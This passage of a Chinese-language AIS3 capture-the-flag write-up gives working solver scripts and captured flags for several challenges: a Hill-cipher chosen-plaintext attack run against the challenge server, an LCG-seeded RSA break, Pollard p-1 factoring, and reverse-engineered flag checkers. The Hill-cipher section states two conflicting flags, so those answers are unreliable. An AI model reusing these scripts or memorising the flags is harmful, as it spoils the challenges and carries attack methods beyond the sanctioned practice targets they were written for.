$$ A\delta_k = (c_{r_k}-B\mathbf v),\quad B\delta_k = (c_{b_k}-A\mathbf v) $$
把 8 個欄向量拼成 \(A,B\),再計算 \(A^{-1}\)。
遞迴解密旗標
$$ \mathbf m_0 = A^{-1}\mathbf c_0,\quad \mathbf m_i = A^{-1}\bigl(\mathbf c_i - B\mathbf m_{i-1}\bigr) $$
將所有區塊串回 byte 串並去除 padding 0,即得完整 flag
AIS3{b451c_h1ll_c1ph3r_15_2_3z_fun_4nd_34sy_r1gh7?}。
關鍵細節#
- 用 可列印字元 (0x30/0x31) 避開
input()對\x00的截斷問題。 - 必須 完整收齊伺服器的旗標密文 再送 payload,否則會少區塊。
- 二次連線結束後直接
recvall(),即可一次取得 18 行探測密文。
結論#
這題其實是典型線性代數題: 只要有一次 chosen-plaintext 機會,就能枚舉單位向量並解出整組密鑰,再用矩陣逆推出原文,破解工作量僅為基本矩陣運算。
Solution#
#!/usr/bin/env python3
# pip install pwntools sympy numpy
from pwn import remote
import numpy as np, sympy as sp, re
p = 251
n = 8
HOST, PORT = "chals1.ais3.org", 18000
NUM_RE = re.compile(r"-?\d+")
# ---------- 讀取工具 ---------- #
def read_until_prompt(io):
"""收向量直到看到 'input:'"""
vecs = []
count = 0
while True:
line = io.recvline().decode()
nums = list(map(int, NUM_RE.findall(line)))
print(line.strip())
if len(nums) == 8:
vecs.append(nums)
if count == 5:
io.send(build_payload())
return np.array(vecs, dtype=int) % p
count += 1
def read_to_eof(io):
"""收向量直到連線關閉"""
data = io.recvall().decode()
# print(data)
vecs = [list(map(int, NUM_RE.findall(l)))
for l in data.splitlines() if len(NUM_RE.findall(l)) == 8]
array = np.array(vecs, dtype=int) % p
# print(f"[+] 收到 {len(array)} 行向量")
print(array)
return array
# ---------- payload ---------- #
ZERO = ord('0') # 48
ONE = ord('1') # 49 = ZERO+1
def block_baseline():
return bytes([ZERO]*n)
def block_e(k):
v = [ZERO]*n
v[k] = ONE
return bytes(v)
def build_payload():
blocks = [block_baseline(), block_baseline()] # 2 baseline
for k in range(n):
blocks.append(block_e(k)) # r_k
blocks.append(block_baseline()) # baseline again
return b"".join(blocks) + b"\n" # 18*8 = 144 bytes + '\n'
# ---------- 主程式 ---------- #
def main():
io = remote(HOST, PORT)
C_flag = read_until_prompt(io) # 1️⃣ 拿 flag 密文
# io.send(build_payload()) # 2️⃣ 送 payload
C_probe = read_to_eof(io) # 3️⃣ 拿 18 行密文
io.close()
if len(C_probe) != 18:
print(f"[!] 期望 18 行探測密文,但收到 {len(C_probe)} 行")
print(C_probe)
return
print("========")
print(f"C_flag: {C_flag}")
print("========")
print(f"C_probe: {C_probe}")
print("========")
A_v = C_probe[0] # A·v
AB_v = C_probe[1] # (A+B)·v
# 之後公式只需 AB_v
# ---------- 還原 A, B ---------- #
A_cols, B_cols = [], []
for k in range(n):
c_r = C_probe[2 + 2*k] # A·(v+δ_k) + B·v = AB_v + A·δ_k
c_b = C_probe[3 + 2*k] # A·v + B·(v+δ_k) = AB_v + B·δ_k
A_cols.append((c_r - AB_v) % p) # A·δ_k
B_cols.append((c_b - AB_v) % p) # B·δ_k
A = np.column_stack(A_cols) % p
B = np.column_stack(B_cols) % p
A_inv = np.array(sp.Matrix(A).inv_mod(p)).astype(int)
# ---------- 解密旗標 ---------- #
M = []
for i, c in enumerate(C_flag):
if i == 0:
m = (A_inv @ c) % p
else:
m = (A_inv @ ((c - B @ M[i-1]) % p)) % p
M.append(m)
plaintext = bytearray(np.concatenate(M).tolist()).split(b"\x00")[0]
print(len(plaintext), "bytes")
print("FLAG:", plaintext.decode(errors="ignore"))
if __name__ == "__main__":
main()- Flag:
AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}
Random_RSA#
Explanation#
- 這題也是 chatGPT 打出來的,以下是他的解釋:
解題流程總覽#
利用 \(h_0,h_1,h_2\) 求出 LCG 參數
$$ \begin{cases} h_1 \equiv a h_0 + b \pmod M\ h_2 \equiv a h_1 + b \pmod M \end{cases} ;\Longrightarrow; a\equiv(h_2-h_1)(h_1-h_0)^{-1},; b\equiv h_1-a h_0 \pmod M $$
寫出「迭代 \(t\) 步」的封閉式
$$ \operatorname{rng}^{,t}(x)=A_t x+B_t,; A_t=a^{t},; B_t=b\frac{a^{t}-1}{a-1}\pmod M $$
列出二次同餘並窮舉 \(t\) 題目保證 \(q=\operatorname{rng}^{,t}(p)\) 為下一個質數:
$$ (A_t p+B_t)p\equiv n\bmod M $$
即
$$ A_t p^2 + B_t p - n_M\equiv 0\pmod M. $$
對每個 \(t=1,2,\dots\)(通常 < 1000 就會命中):
- 算判別式 \(D=B_t^2+4A_t n_M\pmod M\)。
- Tonelli-Shanks 求平方根拿到候選 \(p\)。
- 令 \(g=\gcd(p_{\text{cand}},n)\),若 \(1<g<n\) 就得到真正的 \(p\)。
得到 \(p,q\) 後還原明文
- \(\varphi=(p-1)(q-1)\)
- \(d=e^{-1}\bmod \varphi\)
- \(m=c^{,d}\bmod n\)
- 轉 bytes 即可拿到旗子。
為何可行#
- 有了三個連續 RNG 輸出就能唯一決定 \((a,b)\)。
- \(p\) 與 \(q\) 之間的關係僅差「固定步數內的 LCG 迭代」,故能用一次二次同餘把 \(p\) 解出來。
- 由於 \(M\) 是 512 bit 級質數,Tonelli-Shanks 開平方在數學上可行、計算上也很快。
整體複雜度低、實作不到百行 Python 即可完成,是典型的「隨機數使用不當 → RSA 崩潰」案例。
Solution#
#!/usr/bin/env python3
from math import gcd
from sympy import invert, sqrt_mod, isprime
from binascii import unhexlify, hexlify
# ---------- 把 output.txt 的數值貼進來 ----------
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
# -------------------------------------------------
# 1. 求 a, b
inv = invert(h1 - h0, M)
a = (h2 - h1) * inv % M
b = (h1 - a * h0) % M
assert (a * h0 + b) % M == h1
# 2. 掃描 t
nM = n % M
ainv = invert(a - 1, M)
p = q = None
for t in range(1, 1001):
A = pow(a, t, M)
B = (A - 1) * b * ainv % M
# A p^2 + B p - nM ≡ 0 (mod M)
D = (B * B + 4 * A * nM) % M # 注意 C = -nM
roots = sqrt_mod(D, M, all_roots=True)
if not roots:
continue
inv2A = invert(2 * A, M)
for r in roots:
p_cand = (-B + r) * inv2A % M
if p_cand in (0, M):
continue
g = gcd(p_cand, n)
if 1 < g < n:
p = g
q = n // g
break
if p:
break
assert p and q and p * q == n and isprime(p) and isprime(q)
print("[+] factor found, t =", t)
print("p =", p)
print("q =", q)
# 3. 還原 FLAG
phi = (p - 1) * (q - 1)
# 這行保持 SymPy 計算精度
d = invert(e, phi)
# --------- 修改處 ---------
m_int = pow(c, int(d), n) # 只把 d 轉成 int
# 或者乾脆:
# d = int(invert(e, phi))
# m_int = pow(c, d, n)
# --------------------------------
flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big")
print(flag.decode())- Flag:
AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}
Happy Happy Factoring#
Explanation#
- 終於來到一題 chatGPT 沒打穿的題目了,摸了好幾個小時都沒打出來就自己查查看怎麼分解大數
- 看到
get_pollard_prime()想說搜尋一下,找一找就找到一個在介紹 Pollard’s p - 1 Algorithm 的網站。 - 把程式抄過來,能夠成功分解出一個因數:
p₀ = 37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167 (bits: 893)- 丟給 chatGPT 之後,他說用
- \(d \equiv e^{-1} \mod (p₀ - 1)\) 的關係式
- 並透過 \(m = c^d \mod p₀\) 就能夠還原出 flag
Solution#
from sympy import mod_inverse
from math import gcd, log2
# https://oalieno.tw/posts/pollard
n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
e = 65537
c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991
def pollard(n) -> int:
a, b = 2, 2
while True:
a, b = pow(a, b, n), b + 1
d = gcd(a - 1, n)
if 1 < d < n:
return d
p0 = pollard(n)
print(f"[+] p₀ = {p0} (bits: {int(log2(p0))+1})")
# 解密
d = mod_inverse(e, p0 - 1)
m = pow(c, d, p0)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big").decode()
print("[+] flag:", flag)- Flag:
AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}
Rev#
AIS3 Tiny Server - Reverse#
Explanation#
- 這題是 chatGPT 打出來的。
- 主要是先透過 IDA 丟進去後,發現有個 function 長這樣:
_BOOL4 __cdecl sub_1E20(int a1)
{
unsigned int v1; // ecx
char v2; // si
char v3; // al
int i; // eax
char v5; // dl
_BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
_DWORD v8[11]; // [esp+12h] [ebp-3Eh]
__int16 v9; // [esp+3Eh] [ebp-12h]
v1 = 0;
v2 = 51;
v9 = 20;
v3 = 114;
v8[0] = 1480073267;
v8[1] = 1197221906;
v8[2] = 254628393;
v8[3] = 920154;
v8[4] = 1343445007;
v8[5] = 874076697;
v8[6] = 1127428440;
v8[7] = 1510228243;
v8[8] = 743978009;
v8[9] = 54940467;
v8[10] = 1246382110;
qmemcpy(v7, "rikki_l0v3", sizeof(v7));
while ( 1 )
{
*((_BYTE *)v8 + v1++) = v2 ^ v3;
if ( v1 == 45 )
break;
v2 = *((_BYTE *)v8 + v1);
v3 = v7[v1 % 0xA];
}
for ( i = 0; i != 45; ++i )
{
v5 = *(_BYTE *)(a1 + i);
if ( !v5 || v5 != *((_BYTE *)v8 + i) )
return 0;
}
return *(_BYTE *)(a1 + 45) == 0;
}int __cdecl sub_2110(int fd, int a2)
{
char *p_s; // esi
char v3; // al
char *v4; // eax
char *v5; // eax
int result; // eax
int v7; // eax
char *v8; // edi
_BYTE *v9; // esi
char *v10; // ebp
__int16 v11; // ax
signed int v12; // ecx
char *v13; // eax
__int16 v14; // [esp+Dh] [ebp-102Bh] BYREF
char v15; // [esp+Fh] [ebp-1029h]
_DWORD v16[2]; // [esp+10h] [ebp-1028h] BYREF
char v17; // [esp+18h] [ebp-1020h]
char s; // [esp+19h] [ebp-101Fh] BYREF
unsigned __int8 v19; // [esp+810h] [ebp-828h] BYREF
char v20[1023]; // [esp+811h] [ebp-827h] BYREF
_DWORD v21[3]; // [esp+C10h] [ebp-428h] BYREF
char v22; // [esp+C1Ch] [ebp-41Ch] BYREF
*(_DWORD *)(a2 + 512) = 0;
*(_DWORD *)(a2 + 516) = 0;
v21[0] = fd;
v21[1] = 0;
v21[2] = &v22;
sub_17E0(v21, v16, 1024);
__isoc99_sscanf();
do
{
if ( LOBYTE(v16[0]) == 10 || BYTE1(v16[0]) == 10 )
{
result = v19;
v8 = (char *)&v19;
v9 = (_BYTE *)a2;
if ( v19 == 47 )
{
v8 = v20;
v12 = strlen(v20);
if ( !v12 )
{
v15 = 0;
v8 = ".";
v14 = 0;
LOBYTE(result) = 46;
goto LABEL_24;
}
v13 = v20;
while ( *v13 != 63 )
{
if ( v12 <= ++v13 - (char *)&v19 - 1 )
{
v9 = (_BYTE *)a2;
result = (unsigned __int8)v20[0];
goto LABEL_23;
}
}
*v13 = 0;
v9 = (_BYTE *)a2;
result = (unsigned __int8)v20[0];
}
LABEL_23:
v15 = 0;
v14 = 0;
if ( !(_BYTE)result )
{
LABEL_29:
*v9 = 0;
return result;
}
LABEL_24:
v10 = v8;
while ( 1 )
{
++v9;
if ( (_BYTE)result == 37 )
{
v11 = *(_WORD *)(v10 + 1);
v10 += 3;
v14 = v11;
*(v9 - 1) = strtoul((const char *)&v14, 0, 16);
result = (unsigned __int8)*v10;
if ( !(_BYTE)result )
goto LABEL_29;
}
else
{
++v10;
*(v9 - 1) = result;
result = (unsigned __int8)*v10;
if ( !(_BYTE)result )
goto LABEL_29;
}
if ( (_BYTE *)(a2 + 1023) == v9 )
goto LABEL_29;
}
}
sub_17E0(v21, v16, 1024);
if ( LOBYTE(v16[0]) == 82 && *(_WORD *)((char *)v16 + 1) == 28257 )
{
__isoc99_sscanf();
v7 = *(_DWORD *)(a2 + 516);
if ( v7 )
*(_DWORD *)(a2 + 516) = v7 + 1;
}
}
while ( v16[0] != 861096257 || v16[1] != 1634485805 || v17 != 103 );
p_s = &s;
if ( s == 58 || s == 32 )
{
do
{
do
v3 = *++p_s;
while ( v3 == 32 );
}
while ( v3 == 58 );
}
v4 = strchr(p_s, 13);
if ( v4 )
*v4 = 0;
v5 = strchr(p_s, 10);
if ( v5 )
*v5 = 0;
if ( sub_1E20((int)p_s) )
sub_1F90(fd, 200, (int)"Flag Correct!", "Congratulations! You found the correct flag!", 0);
else
sub_1F90(fd, 403, (int)"Wrong Flag", "Sorry, that's not the correct flag. Try again!", 0);
return close(fd);
}- 丟給 chatGPT 之後分析出來如下:
挑戰簡介#
這是一個 AIS3 Tiny Server 的逆向題目,目標是在本地分析 server binary 裡面的「flag 檢查器」(sub_1E20),還原出正確的 flag 字串後,送到 sub_2110 中進行比對,最終得到「Flag Correct!」的回應。
核心流程#
定位檢查函數
- 在
.rodata找到關鍵字串Flag Correct!、Wrong Flag、AIS3-Flag:等,利用 xref(交叉引用)定位到sub_2110。 - 從
sub_2110解析出它是如何讀取 HTTP 請求、解碼 URL(percent‐decode),並呼叫sub_1E20驗證。
- 在
理解
sub_1E20邏輯v7[10] = "rikki_l0v3"作為 key stream。v8[11](原始常量陣列,共 11×4 byte)僅作為佔位,實際用後立刻被覆蓋。- 透過兩個暫存變數
v2=51、v3=114(ASCII ‘r’),在迴圈中對每一個位置做v8[i] = v2 ^ v3,並更新v2=v8[i]、v3=v7[(i+1)%10],總共產生 45 個 byte。
復刻 XOR 流產生 flag
- 不需要原始常量陣列,直接從
v2, v3, key開始,依照 C code 一次迭代 45 次,計算b = v2 ^ v3,收集到flag_bytes。 - 把
flag_bytes轉為 ASCII,就得到形如AIS3{...}的 flag。
- 不需要原始常量陣列,直接從
提交並驗證
- 將還原出的 flag 放入 URL,例如
GET /check?AIS3{...},伺服器回應「Flag Correct!」,題目完成。
- 將還原出的 flag 放入 URL,例如
小結#
- 利用 IDA 找到資料段與函數交叉引用,快速定位 flag 檢查路徑。
- 從
sub_1E20的 XOR 迴圈推導出「生成明文」的邏輯,而非解密已存在的密文。 - 用 Python 複製該迴圈,得到 45 字節 flag,格式為
AIS3{...},即為最終答案。
Solution#
from struct import pack
# 1) Pack v8[0..10] constants into 44 bytes
ints = [
1480073267, 1197221906, 254628393, 920154,
1343445007, 874076697, 1127428440, 1510228243,
743978009, 54940467, 1246382110,
]
raw = b''.join(pack("<I", i) for i in ints)
# Append one byte to make a total of 45 bytes
raw += b'\x00'
assert len(raw) == 45
key = b"rikki_l0v3" # v7 key stream
v2 = 51 # initial v2 value
v3 = 114 # initial v3 value ('r')
flag_bytes = bytearray(45)
for i in range(45):
# Write v8[i] = v2 ^ v3
flag_bytes[i] = v2 ^ v3
# In C, they break after writing the 45th byte
if i == 44:
break
# Update v2 and v3 for the next iteration
# v2 := next byte from the original constant array
v2 = raw[i + 1]
# v3 := key[(i+1) % 10]
v3 = key[(i + 1) % len(key)]
flag = flag_bytes.decode()
print("Flag:", flag)- Flag:
AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}
web flag checker#
Explanation#
- 進到網站後打開 F12 能夠看到一個
index.wasm
- 把裡面的
flagchecker跟func8丟給 chatGPT 後他甚至能夠自己把答案吐出來…
- 以下是 chatGPT 的流程介紹
解題流程概覽#
- 定位驗證函式
反編譯
index.wasm後,找到flagchecker與輔助函式func8。flagchecker會把輸入分成 5 段 × 8 byte,逐段呼叫func8後與 5 個硬編碼的 64-bit 常數比對。
2. 還原 func8 行為#
func8(x, s) 等同 64-bit 左循環位移(rotate-left):
$$ ROL_{64}(x,s)=\bigl((x \ll s) \mid (x \gg (64-s))\bigr) \And 0x\text{FFFFFFFFFFFFFFFF} $$
因此要逆推,只需對常數做相同位數的右循環位移(rotate-right)。
3. 計算各段位移量#
位移量來自整數 \(-39934163\)(十六進位 0xFD9EA72D):
$$ \text{shift}_i =\bigl(0x\text{FD9EA72D} \gg (6,i)\bigr)\And 0x3F, \qquad i = 0,1,2,3,4 $$
得到 \(45, 28, 42, 39, 61\)。
取得 5 組目標常數 反編譯可見:
0x69282A668AEF666A 0x633525F4D7372337 0x9DB9A5A0DCC5DD7D 0x9833AFAFB8381A2F 0x6FAC8C8726464726逆轉換並組合 對每組常數做
ROR64(const, shift_i),再以 little-endian 轉為 8 byte 串接,即還原原始 40 byte 字串。
Solution#
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
# ---------- helper -----------------------------------------------------------
def rot_r64(x: int, n: int) -> int:
"""Return x rotated right by n (64-bit unsigned)."""
n &= 63 # only the low 6 bits matter
return ((x >> n) | (x << (64 - n))) & 0xFFFFFFFFFFFFFFFF
# ---------- data extracted from the wasm module -----------------------------
TARGETS: list[int] = [
0x69282A668AEF666A,
0x633525F4D7372337,
0x9DB9A5A0DCC5DD7D,
0x9833AFAFB8381A2F,
0x6FAC8C8726464726,
]
SHIFT_KEY = 0xFD9EA72D # -39934163 as unsigned 32-bit
SHIFTS: list[int] = [(SHIFT_KEY >> (6 * i)) & 0x3F for i in range(5)]
# ⇒ [45, 28, 42, 39, 61]
# ---------- main ------------------------------------------------------------
flag_bytes = bytearray()
for target, shift in zip(TARGETS, SHIFTS):
# Inverse transform: right-rotate by the same amount
plain = rot_r64(target, shift)
# The WASM code treats each 64-bit chunk as little-endian when loading
# from memory, so we must export it as little-endian as well.
flag_bytes.extend(plain.to_bytes(8, byteorder="little"))
flag = flag_bytes.decode(errors="replace") # should be pure ASCII
print(flag) # → AIS3{...}- Flag:
AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
A_simple_snake_game#
Explanation#
- 這題是 chatGPT 解出來的。
- 先把整個
a.exe丟到 IDA 裡面看看。晃來晃去翻到SnakeGame::Screen::drawText覺得挺可疑的,就把這些全部複製貼上給 chatGPT 就噴出答案了。
void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, int a4)
{
unsigned int v4; // eax
int v5; // eax
char *v6; // eax
char *Error; // eax
int v8; // eax
char v9; // [esp+13h] [ebp-F5h]
char lpuexcpt; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcpta; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcptb; // [esp+14h] [ebp-F4h]
_DWORD v14[10]; // [esp+5Dh] [ebp-ABh] BYREF
__int16 v15; // [esp+85h] [ebp-83h]
char v16; // [esp+87h] [ebp-81h]
_DWORD v17[4]; // [esp+88h] [ebp-80h] BYREF
int v18; // [esp+98h] [ebp-70h]
_BYTE v19[24]; // [esp+9Ch] [ebp-6Ch] BYREF
_DWORD v20[5]; // [esp+B4h] [ebp-54h] BYREF
_BYTE v21[27]; // [esp+C8h] [ebp-40h] BYREF
char v22; // [esp+E3h] [ebp-25h] BYREF
int TextureFromSurface; // [esp+E4h] [ebp-24h]
int v24; // [esp+E8h] [ebp-20h]
unsigned int i; // [esp+ECh] [ebp-1Ch]
if ( (int)this <= 11451419 || a3 <= 19810 )
{
SnakeGame::Screen::createText[abi:cxx11](a1, this, a3);
v20[4] = 0xFFFFFF;
v8 = std::string::c_str(v21);
a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF);
a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]);
v20[0] = 400;
v20[1] = 565;
v20[2] = 320;
v20[3] = 30;
SDL_RenderCopy(a1[1], a1[4], 0, v20);
std::string::~string(v21);
}
else
{
v14[0] = -831958911;
v14[1] = -1047254091;
v14[2] = -1014295699;
v14[3] = -620220219;
v14[4] = 2001515017;
v14[5] = -317711271;
v14[6] = 1223368792;
v14[7] = 1697251023;
v14[8] = 496855031;
v14[9] = -569364828;
v15 = 26365;
v16 = 40;
std::allocator<char>::allocator(&v22);
std::string::basic_string(v14, 43, &v22);
std::allocator<char>::~allocator(&v22);
for ( i = 0; ; ++i )
{
v4 = std::string::length(v19);
if ( i >= v4 )
break;
lpuexcpt = *(_BYTE *)std::string::operator[](i);
v9 = SnakeGame::hex_array1[i];
*(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt;
}
v18 = 0xFFFFFF;
v5 = std::string::c_str(v19);
v24 = TTF_RenderText_Solid(a1[5], v5, v18);
if ( v24 )
{
TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v24);
if ( TextureFromSurface )
{
v17[0] = 200;
v17[1] = 565;
v17[2] = 590;
v17[3] = 30;
SDL_RenderCopy(a1[1], TextureFromSurface, 0, v17);
SDL_FreeSurface(v24);
SDL_DestroyTexture(TextureFromSurface);
}
else
{
lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"SDL_CreateTextureFromSurface: ");
Error = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcptb, Error);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
SDL_FreeSurface(v24);
}
}
else
{
lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"TTF_RenderText_Solid: ");
v6 = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcpta, v6);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
}
std::string::~string(v19);
}
}- 以下是 chatGPT 的解釋:
流程總覽#
在 SnakeGame::Screen::drawText 內發現一條「高比分分支」會把一段硬編碼密文與全域陣列 hex_array1 做 XOR,然後把結果渲染到畫面。只要把這段邏輯獨立出來離線執行,就能直接還原 flag。
1. 鎖定可疑函式#
- 在 IDA/Ghidra 追蹤字串或 SDL 字體 API,看到
drawText內有TTF_RenderText_Solid與SDL_RenderCopy。 - 函式前半部只是普通文字顯示;但當
this > 11451419且a3 > 19810時,程式轉到另一條分支並載入大量常數,顯然是在解碼隱藏訊息。
2. 取得密文#
- 分支中有十個
v14[]32-bit 整數,再加上v15(0x670D= 26365)與v16(0x28= 40)。 - 這 43 個位元組被
std::string(v14, 43, …)當成「原始字串」放入v22,就是密文。
3. 取得金鑰#
.data區域找到SnakeGame::hex_array1:C0 19 3A FD CE 68 DC F2 0C 47 D4 86 AB 57 …前 43 個 byte 與密文字節等長,即為 XOR 的key。
4. XOR 解密#
- 程式實作:
plaintext[i] = ciphertext[i] ^ key[i],逐一覆寫v22[i]。 - 用 Python 快速重現即可離線解碼。
5. 重點回顧#
- 條件分支 藏密碼:高分或特定狀態才會顯示。
- 密文 + 金鑰 = XOR 是最常見的 CTF 手法。
- 不必真的「通關」或動態貼內存;靜態把常數抄出來就能解,省時又安全。
Solution#
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Decrypt the flag hidden in SnakeGame::Screen::drawText.
The game stores a 43-byte ciphertext in ten 32-bit integers (v14[0‥9])
followed by one 16-bit integer (v15) and one 8-bit integer (v16).
Each byte is XORed with the corresponding byte in the global
array SnakeGame::hex_array1. Reversing that XOR yields the flag.
"""
import struct
# ---------------------------------------------------------------------------
# 1) Ciphertext bytes — values copied directly from the disassembly
# v14 are signed 32-bit, but we treat them as little-endian unsigned.
# ---------------------------------------------------------------------------
v14 = [
-831958911,
-1047254091,
-1014295699,
-620220219,
2001515017,
-317711271,
1223368792,
1697251023,
496855031,
-569364828,
]
v15 = 26365 # 0x670D (16-bit)
v16 = 0x28 # 40 (8-bit)
# Pack the integers into bytes (little-endian, 32-bit for v14,
# 16-bit for v15, 8-bit for v16)
cipher_bytes = b"".join(struct.pack("<I", x & 0xFFFFFFFF) for x in v14)
cipher_bytes += struct.pack("<H", v15) + struct.pack("<B", v16)
assert len(cipher_bytes) == 43, "Ciphertext length should be 43 bytes"
# ---------------------------------------------------------------------------
# 2) Key bytes — first 43 bytes of SnakeGame::hex_array1
# ---------------------------------------------------------------------------
key_bytes = bytes([
0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
0x93, 0x22, 0x55
])
assert len(key_bytes) == 43, "Key length should be 43 bytes"
# ---------------------------------------------------------------------------
# 3) XOR decryption
# ---------------------------------------------------------------------------
plaintext = bytes(c ^ k for c, k in zip(cipher_bytes, key_bytes))
# ---------------------------------------------------------------------------
# 4) Show the flag
# ---------------------------------------------------------------------------
try:
print("Flag:", plaintext.decode()) # ASCII / UTF-8 expected
except UnicodeDecodeError:
print("Flag bytes:", plaintext) # Fallback if encoding fails- Flag:
AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}
